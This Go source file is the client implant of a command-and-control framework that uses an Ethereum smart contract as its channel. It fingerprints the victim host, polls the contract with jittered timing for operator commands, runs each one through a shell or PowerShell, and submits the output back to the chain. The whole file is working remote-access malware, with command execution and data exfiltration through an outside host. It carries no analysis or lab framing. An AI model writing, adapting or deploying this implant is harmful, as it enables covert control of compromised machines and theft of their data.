// Command client is the implant that runs on target systems. It polls the // blockchain for commands, executes them, and submits results. package main import ( "bytes" "fmt" "math/big" "net" "os" "os/exec" "os/signal" "os/user" "runtime" "strings" "syscall" "time" "github.com/ethereum/go-ethereum" "github.com/ethereum/go-ethereum/accounts/abi" "github.com/ethereum/go-ethereum/accounts/abi/bind" "github.com/ethereum/go-ethereum/common" "github.com/ethereum/go-ethereum/core/types" "github.com/ethereum/go-ethereum/crypto" "github.com/ethereum/go-ethereum/ethclient" ) // ────────────────────────────────────────────── // Embedded ABI (same as server) // ────────────────────────────────────────────── const contractABIJSON = `[ {"inputs":[{"internalType":"address","name":"initialOperator","type":"address"}],"stateMutability":"nonpayable","type":"constructor"}, {"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"implantId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"commandId","type":"bytes32"},{"indexed":false,"internalType":"string","name":"command","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"CommandIssued","type":"event"}, {"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"implantId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"commandId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"resultId","type":"bytes32"},{"indexed":false,"internalType":"string","name":"result","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"ResultSubmitted","type":"event"}, {"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"active","type":"bool"}],"name":"OperatorUpdated","type":"event"}, {"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"name":"ackCommand","outputs":[],"stateMutability":"nonpayable","type":"function"}, {"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"},{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"commands","outputs":[{"internalType":"string","name":"data","type":"string"},{"internalType":"bool","name":"active","type":"bool"}],"stateMutability":"view","type":"function"}, {"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"}],"name":"getActiveCommands","outputs":[{"internalType":"bytes32[]","name":"","type":"bytes32[]"}],"stateMutability":"view","type":"function"}, {"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"name":"getCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}, {"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"}],"name":"getLatestCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}, {"inputs":[{"internalType":"bytes32","name":"resultId","type":"bytes32"}],"name":"getResult","outputs":[{"internalType":"string","name":"data","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"stateMutability":"view","type":"function"}, {"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"string","name":"command","type":"string"}],"name":"issueCommand","outputs":[],"stateMutability":"nonpayable","type":"function"}, {"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"operators","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}, {"inputs":[],"name":"resultCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}, {"inputs":[{"internalType":"uint256","name":"idx","type":"uint256"}],"name":"resultIdAtIndex","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"}, {"inputs":[{"internalType":"address","name":"op","type":"address"},{"internalType":"bool","name":"active","type":"bool"}],"name":"setOperator","outputs":[],"stateMutability":"nonpayable","type":"function"}, {"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"},{"internalType":"string","name":"result","type":"string"}],"name":"submitResult","outputs":[],"stateMutability":"nonpayable","type":"function"} ]` // ────────────────────────────────────────────── // Defaults // ────────────────────────────────────────────── const ( defaultPollInterval = 15 // seconds defaultJitter = 5 // seconds defaultExecTimeout = 60 // seconds per command ) // ────────────────────────────────────────────── // Main // ────────────────────────────────────────────── func main() { rpcURL := os.Getenv("ETH_RPC_URL") contractAddrStr := os.Getenv("CONTRACT_ADDR") pkHex := os.Getenv("PRIVATE_KEY") pollInterval := defaultPollInterval jitter := defaultJitter // CLI args override env args := os.Args[1:] for i := 0; i < len(args); i++ { switch args[i] { case "--rpc": if i+1 < len(args) { i++ rpcURL = args[i] } case "--contract": if i+1 < len(args) { i++ contractAddrStr = args[i] } case "--key": if i+1 < len(args) { i++ pkHex = args[i] } case "--interval": if i+1 < len(args) { i++ fmt.Sscanf(args[i], "%d", &pollInterval) } case "--jitter": if i+1 < len(args) { i++ fmt.Sscanf(args[i], "%d", &jitter) } case "--help", "-h": printHelp() return } } if rpcURL == "" || contractAddrStr == "" || pkHex == "" { fmt.Fprintln(os.Stderr, "Missing required config. Set ETH_RPC_URL, CONTRACT_ADDR, PRIVATE_KEY, or use --rpc, --contract, --key.") printHelp() os.Exit(1) } contractAddr := common.HexToAddress(contractAddrStr) // Derive implant ID from something unique but reproducible implantID := deriveImplantID() fmt.Printf("[+] C2 Blockchain Implant\n") fmt.Printf(" Implant ID: 0x%x\n", implantID) fmt.Printf(" RPC: %s\n", rpcURL) fmt.Printf(" Contract: %s\n", contractAddr.Hex()) fmt.Printf(" Poll: %ds ±%ds\n", pollInterval, jitter) fmt.Println() client, err := ethclient.Dial(rpcURL) if err != nil { fmt.Fprintf(os.Stderr, "[-] RPC dial error: %v\n", err) os.Exit(1) } parsedABI, err := abi.JSON(strings.NewReader(contractABIJSON)) if err != nil { fmt.Fprintf(os.Stderr, "[-] ABI parse error: %v\n", err) os.Exit(1) } privateKey, err := crypto.HexToECDSA(strings.TrimPrefix(pkHex, "0x")) if err != nil { fmt.Fprintf(os.Stderr, "[-] Private key error: %v\n", err) os.Exit(1) } chainID, err := client.NetworkID(nil) if err != nil { fmt.Fprintf(os.Stderr, "[-] Chain ID error: %v\n", err) os.Exit(1) } auth, err := bind.NewKeyedTransactorWithChainID(privateKey, chainID) if err != nil { fmt.Fprintf(os.Stderr, "[-] Transactor error: %v\n", err) os.Exit(1) } // Track seen command IDs to avoid re-execution seen := make(map[[32]byte]bool) // Handle graceful shutdown sigCh := make(chan os.Signal, 1) signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) fmt.Println("[*] Listening for commands (Ctrl+C to stop)...") for { select { case <-sigCh: fmt.Println("\n[*] Shutting down.") return default: } err := pollCommands(client, parsedABI, contractAddr, implantID, auth, seen) if err != nil { fmt.Fprintf(os.Stderr, "[-] Poll error: %v\n", err) } // Jittered sleep sleep := pollInterval if jitter > 0 { sleep += int(randInt64n(int64(jitter*2+1))) - jitter } if sleep < 1 { sleep = 1 } time.Sleep(time.Duration(sleep) * time.Second) } } func printHelp() { fmt.Println(`Usage: client [flags] Flags: --rpc Ethereum RPC URL (or ETH_RPC_URL) --contract Contract address (or CONTRACT_ADDR) --key Private key for result submission (or PRIVATE_KEY) --interval Poll interval in seconds (default 15) --jitter Jitter range in seconds (default 5) --help, -h Show this help The implant polls the contract for commands, executes them, and submits results. Read operations are free (no gas). Submitting results requires a wallet with gas.`) } // ────────────────────────────────────────────── // Implant ID derivation // ────────────────────────────────────────────── func deriveImplantID() [32]byte { hostname, _ := os.Hostname() u, _ := user.Current() mac := getMAC() raw := fmt.Sprintf("%s|%s|%s|%d", hostname, u.Username, mac, runtime.GOARCH) hash := crypto.Keccak256Hash([]byte(raw)) var id [32]byte copy(id[:], hash.Bytes()) return id } // ────────────────────────────────────────────── // Poll & Execute // ────────────────────────────────────────────── func pollCommands( client *ethclient.Client, parsedABI abi.ABI, contractAddr common.Address, implantID [32]byte, auth *bind.TransactOpts, seen map[[32]byte]bool, ) error { // Method 1: getActiveCommands (view, free) cmdIDs := getActiveCommandIDs(client, parsedABI, contractAddr, implantID) if len(cmdIDs) == 0 { return nil } for _, cmdID := range cmdIDs { if seen[cmdID] { continue } // getCommand (view, free) cmdStr, err := getCommandStr(client, parsedABI, contractAddr, implantID, cmdID) if err != nil { fmt.Fprintf(os.Stderr, "[-] getCommand error: %v\n", err) continue } if cmdStr == "" { continue } fmt.Printf("[!] Executing command: %s\n", cmdStr) output, err := executeCommand(cmdStr) if err != nil { output = fmt.Sprintf("ERROR: %v\n%s", err, output) } fmt.Printf("[+] Output (%d bytes)\n", len(output)) // Submit result (needs gas) txHash, err := submitResult(client, parsedABI, contractAddr, auth, implantID, cmdID, output) if err != nil { fmt.Fprintf(os.Stderr, "[-] submitResult error: %v\n", err) continue } fmt.Printf("[+] Result submitted: %s\n", txHash.Hash().Hex()) seen[cmdID] = true } return nil } // ────────────────────────────────────────────── // Blockchain interaction helpers // ────────────────────────────────────────────── func getActiveCommandIDs(client *ethclient.Client, parsedABI abi.ABI, contractAddr common.Address, implantID [32]byte) [][32]byte { data, err := parsedABI.Pack("getActiveCommands", implantID) if err != nil { return nil } resp, err := client.CallContract(nil, ethereum.CallMsg{To: &contractAddr, Data: data}, nil) if err != nil { return nil } // Unpack the dynamic array var ids [][32]byte if err := parsedABI.UnpackIntoInterface(&ids, "getActiveCommands", resp); err != nil { return nil } return ids } func getCommandStr(client *ethclient.Client, parsedABI abi.ABI, contractAddr common.Address, implantID, cmdID [32]byte) (string, error) { data, err := parsedABI.Pack("getCommand", implantID, cmdID) if err != nil { return "", err } resp, err := client.CallContract(nil, ethereum.CallMsg{To: &contractAddr, Data: data}, nil) if err != nil { return "", err } var cmdStr string if err := parsedABI.UnpackIntoInterface(&cmdStr, "getCommand", resp); err != nil { return "", err } return cmdStr, nil } func submitResult( client *ethclient.Client, parsedABI abi.ABI, contractAddr common.Address, auth *bind.TransactOpts, implantID, cmdID [32]byte, result string, ) (*types.Transaction, error) { data, err := parsedABI.Pack("submitResult", implantID, cmdID, result) if err != nil { return nil, fmt.Errorf("pack: %w", err) } gasPrice, err := client.SuggestGasPrice(nil) if err != nil { return nil, fmt.Errorf("gasPrice: %w", err) } // Buffer gasPrice = new(big.Int).Mul(gasPrice, big.NewInt(12)) gasPrice = new(big.Int).Div(gasPrice, big.NewInt(10)) nonce, err := client.PendingNonceAt(nil, auth.From) if err != nil { return nil, fmt.Errorf("nonce: %w", err) } tx := types.NewTransaction(nonce, contractAddr, big.NewInt(0), 200000, gasPrice, data) signedTx, err := auth.Signer(auth.From, tx) if err != nil { return nil, fmt.Errorf("sign: %w", err) } if err := client.SendTransaction(nil, signedTx); err != nil { return nil, fmt.Errorf("send: %w", err) } return signedTx, nil } // ────────────────────────────────────────────── // Command Execution // ────────────────────────────────────────────── func executeCommand(cmdStr string) (string, error) { var cmd *exec.Cmd // Use shell for flexibility switch runtime.GOOS { case "windows": cmd = exec.Command("powershell.exe", "-NoProfile", "-Command", cmdStr) default: cmd = exec.Command("/bin/sh", "-c", cmdStr) } var stdout, stderr bytes.Buffer cmd.Stdout = &stdout cmd.Stderr = &stderr // Timeout timer := time.AfterFunc(defaultExecTimeout*time.Second, func() { if cmd.Process != nil { cmd.Process.Kill() } }) defer timer.Stop() err := cmd.Run() output := stdout.String() if stderr.Len() > 0 { if output != "" { output += "\n--- STDERR ---\n" } output += stderr.String() } return output, err } // ────────────────────────────────────────────── // Utility // ────────────────────────────────────────────── func getMAC() string { // Best-effort MAC address for implant identity ifaces, err := net.Interfaces() if err != nil { return "unknown" } for _, iface := range ifaces { if len(iface.HardwareAddr) > 0 && iface.Flags&net.FlagLoopback == 0 && iface.Flags&net.FlagUp != 0 { return iface.HardwareAddr.String() } } return "unknown" } func randInt64n(n int64) int64 { // Simple LCG — fine for jitter, not for crypto if n <= 0 { return 0 } seed := time.Now().UnixNano() return (seed % n + n) % n }